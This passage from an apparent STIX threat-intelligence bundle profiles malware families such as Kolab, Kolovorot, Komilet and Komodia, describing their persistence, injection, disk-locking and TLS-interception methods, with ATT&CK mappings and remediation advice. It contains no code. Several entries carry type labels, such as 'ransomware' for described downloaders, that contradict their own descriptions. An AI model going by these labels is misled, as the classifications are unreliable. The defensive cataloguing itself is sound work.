      "id": "relationship--e45e3b66-6fbd-5cc2-87fe-fb1b34ea0ab5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e18632fc-37e1-534b-8b90-f57a60f10247",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kmsactivator exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Using tasks for persistent, recurring execution))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0ce87916-04b6-5a7a-b859-d7d1c8aa01b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kmuaaovs",
      "description": "<h3>Executive Summary</h3>\n\"Kmuaaovs\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The naming convention (which appears as random, machine-generated gibberish) strongly suggests that this malware was detected dynamically by an antivirus engine's generic heuristic analysis or machine-learning model, indicating a severe attempt by the malware to evade static signature detection.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these generic evasion techniques is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker.\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized. This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Secondary Payload Delivery:</strong> kmuaaovs typically functions as a loader. Once persistence and stealth are achieved, it communicates with a C2 server to download the primary payload, which could be anything from a cryptominer to ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, generically named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.Kmuaaovs",
        "Malware.Obfuscated",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kmuaaovs",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kmuaaovs"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6e20974b-ff70-5d47-b525-a70c712f750e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ce87916-04b6-5a7a-b859-d7d1c8aa01b8",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kmuaaovs exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2000fbc8-877b-5339-a407-0e4205d4bb34",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ce87916-04b6-5a7a-b859-d7d1c8aa01b8",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kmuaaovs exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5161e243-994c-59f5-9318-21f6d2ac8b9f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ce87916-04b6-5a7a-b859-d7d1c8aa01b8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kmuaaovs exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eaaac3c3-5b96-58e7-a635-175c5d1a29f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ce87916-04b6-5a7a-b859-d7d1c8aa01b8",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kmuaaovs exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--26599999-fef2-507f-b1e7-2c4ff1258d73",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Koal",
      "description": "Trojan:Win32/Koal is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Koal</b><br>To an end-user, a Koal infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Koal is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Koal is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Koal frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Koal reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Koal",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/koal"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c48f97a-d91b-5a0f-bd9c-49c15f1b457d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26599999-fef2-507f-b1e7-2c4ff1258d73",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Koal exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--70c2ecd7-467d-594b-85e8-9e920d9bce92",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26599999-fef2-507f-b1e7-2c4ff1258d73",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Koal exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--32a53998-1003-5ab6-8957-1bf7293ca634",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26599999-fef2-507f-b1e7-2c4ff1258d73",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Koal exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c6bb2776-25e7-5a03-bdd9-ad98d8f3dcf5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26599999-fef2-507f-b1e7-2c4ff1258d73",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Koal exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d44033a-f6f1-5038-b16b-9c8213f0b0de",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26599999-fef2-507f-b1e7-2c4ff1258d73",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Koal exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--793e075b-b6ba-53a6-8936-e5400d956e1a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kolab",
      "description": "Kolab (cataloged across security vendors as Worm:Win32/Kolab, Net-Worm.Win32.Kolab, WORM_KOLABC, and W32/Kolab) is a prolific Windows network worm and backdoor trojan first discovered in 2008. Designed to build distributed botnets for distributed denial-of-service (DDoS) attacks, spam campaigns, and secondary malware distribution, Kolab propagates autonomously across local area networks (LANs) and removable USB flash drives. The worm exploits legacy network vulnerabilities, notably MS08-067 (CVE-2008-4250 Server Service buffer overflow) and MS06-040 (CVE-2006-3439 Server Service vulnerability), as well as open administrative SMB shares using weak credentials. When a host is compromised, Kolab injects its core thread into Windows system processes (such as svchost.exe and explorer.exe), disables Windows Firewall and security center services, and opens encrypted IRC or TCP reverse shell channels to attacker-controlled command-and-control servers. Through this persistent backdoor, operators can issue arbitrary shell commands, capture sensitive user keystrokes, harvest network credentials, and download secondary ransomware or banking payloads. (Observed samples in benchmark: 219)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm:Win32/Kolab",
        "Net-Worm.Win32.Kolab",
        "WORM_KOLABC",
        "W32/Kolab",
        "Trojan.Win32.Kolab"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kolab",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kolab"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c597f0d5-f2f6-513f-8588-918d6dad64db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--793e075b-b6ba-53a6-8936-e5400d956e1a",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kolab exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--122a6ac4-da40-5ea1-9751-e9954f787d32",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--793e075b-b6ba-53a6-8936-e5400d956e1a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kolab exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e5cfa312-ceba-572a-a25a-4d7b318bd31f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--793e075b-b6ba-53a6-8936-e5400d956e1a",
      "target_ref": "attack-pattern--d66030a6-0b1f-5824-ae5f-d3704d249837",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kolab exhibits technique T1021.002 (Remote Services: SMB/Windows Admin Shares)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7741147-b14c-5e6f-8f37-595331629602",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--793e075b-b6ba-53a6-8936-e5400d956e1a",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kolab exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f65682d6-6761-546a-beff-9bf30ba5134b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--793e075b-b6ba-53a6-8936-e5400d956e1a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kolab exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--96e0ce30-adb3-5e46-9174-d86207ff3720",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kolabc",
      "description": "Worm:Win32/Kolabc (commonly identified across threat telemetry as Trojan.Kolabc, Worm.Win32.Kolab, or Win32/Kolabc) is a resilient, self-propagating Windows network worm and botnet agent. Operating as a modular malware platform, Kolabc propagates across local network subnets by searching for unprotected SMB shares and infecting removable storage devices (USB thumb drives) via crafted autorun.inf files and weaponized LNK shortcuts. Once installed on a victim workstation, Kolabc injects malicious threads into trusted system processes such as svchost.exe or explorer.exe, establishes persistence via the Windows Run registry keys, and connects to remote IRC or HTTP command-and-control infrastructure. Controlled endpoints receive commands to download secondary malware payloads\u2014including banking trojans and ransomware\u2014relay spam emails, or launch coordinated distributed denial-of-service (DDoS) flood attacks. (Observed samples in benchmark: 143)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Kolabc",
        "Worm:Win32/Kolabc",
        "Trojan.Kolabc",
        "Worm.Win32.Kolab",
        "Win32/Kolabc",
        "Kolab Worm",
        "Worm:Win32/Kolab"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kolabc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kolabc"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--14f4ac88-c17e-5684-92d0-58838f11d423",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--96e0ce30-adb3-5e46-9174-d86207ff3720",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kolabc exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4cff9611-968e-523e-843c-74a7bed4f116",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--96e0ce30-adb3-5e46-9174-d86207ff3720",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kolabc exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a83c9b7-d33e-5b24-9f4c-784f2d4d27c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--96e0ce30-adb3-5e46-9174-d86207ff3720",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kolabc exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b3529aa3-5066-589a-8ccd-49605ff0b688",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--96e0ce30-adb3-5e46-9174-d86207ff3720",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kolabc exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac74f441-6eb7-535c-9504-26ce2eea2063",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--96e0ce30-adb3-5e46-9174-d86207ff3720",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kolabc exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--53e5449f-fa8d-5b73-a47e-1a8ac6e1aba4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kolovorot",
      "description": "Kolovorot (documented across security intelligence reports under signatures including Ransom:Win32/Kolovorot, Trojan-Ransom.Win32.Kolovorot, and Ransom.Kolovorot) is an aggressive and destructive Windows ransomware and disk-locking threat. Delivered through weaponized email attachments and software cracking archives, Kolovorot attempts to overwrite the Master Boot Record (MBR) and partition table of the primary hard drive (PhysicalDrive0) in addition to encrypting user files. It invokes low-level disk access via CreateFileW with raw device handles ('\\\\.\\PhysicalDrive0'), replacing the bootloader code with custom screen-locking assembly code that demands cryptocurrency ransom before the operating system can boot. For accessible user files, it uses symmetric AES-256 encryption and appends '.kolovorot', dropping ransom notes ('KOLOVOROT_LOCK.txt') instructing victims on payment. (Observed samples in benchmark: 18)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Kolovorot",
        "Trojan-Ransom.Win32.Kolovorot",
        "Win32/Kolovorot",
        "Ransom.Kolovorot",
        "Kolovorot MBR Locker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kolovorot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kolovorot"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a62fa6fc-0d02-5997-ba3a-519c3f586fa0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Komilet",
      "description": "<h3>Executive Summary</h3>\nKomilet is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nKomilet is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Komilet operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Komilet ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Komilet receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Komilet infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Komilet executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Komilet frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Komilet",
        "Downloader.Komilet",
        "Win32/Komilet"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Komilet",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/komilet"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--89b639a1-c260-5e80-b55e-dac84269766d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a62fa6fc-0d02-5997-ba3a-519c3f586fa0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Komilet exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6efff76c-6cef-599e-9d8c-67d041bb6f5e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a62fa6fc-0d02-5997-ba3a-519c3f586fa0",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Komilet exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9cc47d7c-d7d7-515b-9113-49bf0a425093",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a62fa6fc-0d02-5997-ba3a-519c3f586fa0",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Komilet exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--60e7a698-ba17-59b3-b3d7-a0b9413ad125",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Komodia",
      "description": "Rootkit:Win32/Komodia is a highly controversial software development kit (SDK) designed for network interception and SSL/TLS decryption. Komodia is most infamous for being the underlying technology behind the **'Superfish'** adware scandal, where it was discovered pre-installed on Lenovo laptops in 2015. While marketed to parental control and ad-injection companies as a way to monitor encrypted web traffic, its implementation acts exactly like a malicious rootkit and fundamentally breaks the security model of the internet on infected endpoints.<br><br><b>Understanding the Komodia (Superfish) Threat</b><br>To an end-user, Komodia is invisible, though they might notice unexpected advertisements appearing on secure websites like Google or their bank. For a security analyst, Komodia is a catastrophic vulnerability. To intercept encrypted HTTPS traffic, Komodia installs a self-signed root certificate authority (CA) into the Windows certificate store and acts as a local Man-in-the-Middle (MitM) proxy. The fatal flaw was that all installations of Komodia shared the *exact same private key* for this root certificate.<br><br><b>Execution and TLS Interception Mechanics</b><br>Komodia is typically bundled with adware (like Superfish) or aggressive parental control software (`T1189`). Upon execution, it installs a local proxy service (`T1543.003`) and reroutes all endpoint web traffic through it (`T1562.004`). Crucially, it forces the installation of its own root CA into the Trusted Root Certification Authorities store (`T1553.004`). When a user visits a secure site (like `https://bank.com`), the Komodia proxy intercepts the connection, decrypts the traffic (`T1185`), injects ads or logs the data, and then re-encrypts the connection to the browser using a dynamically generated certificate signed by its fake root CA. Because the private key was hardcoded and easily extracted, *any* attacker on the same network (e.g., a public Wi-Fi hotspot) could use that key to completely spoof any secure website, bypassing all browser security warnings.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the complete destruction of endpoint TLS security and the exposure of all passwords, banking details, and secure communications. The primary IoC is the presence of unauthorized root certificates in the Windows Certificate Manager (`certmgr.msc`) (specifically looking for 'Superfish, Inc.' or 'Komodia'). Network analysts will observe all HTTPS traffic originating from the endpoint being proxied through `localhost` before exiting the network. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Komodia",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/komodia"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--d9da9d1b-9b7d-5344-98e0-bdf1d57f0025",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1553.004: Subvert Trust Controls: Install Root Certificate (Breaking TLS)",
      "description": "MITRE ATT&CK Technique T1553.004 (Subvert Trust Controls: Install Root Certificate (Breaking TLS)) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1553.004",
          "url": "https://attack.mitre.org/techniques/T1553/004/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec8291bc-dcb2-554d-af30-3f31a9e15c53",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--60e7a698-ba17-59b3-b3d7-a0b9413ad125",
      "target_ref": "attack-pattern--d9da9d1b-9b7d-5344-98e0-bdf1d57f0025",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Komodia exhibits technique T1553.004 (Subvert Trust Controls: Install Root Certificate (Breaking TLS))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7fc3ca17-df55-56c1-a8ca-d765d13bcd5c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--60e7a698-ba17-59b3-b3d7-a0b9413ad125",
      "target_ref": "attack-pattern--6da3a18b-2dc8-5bb7-8b6a-6bfb5a4c09e1",
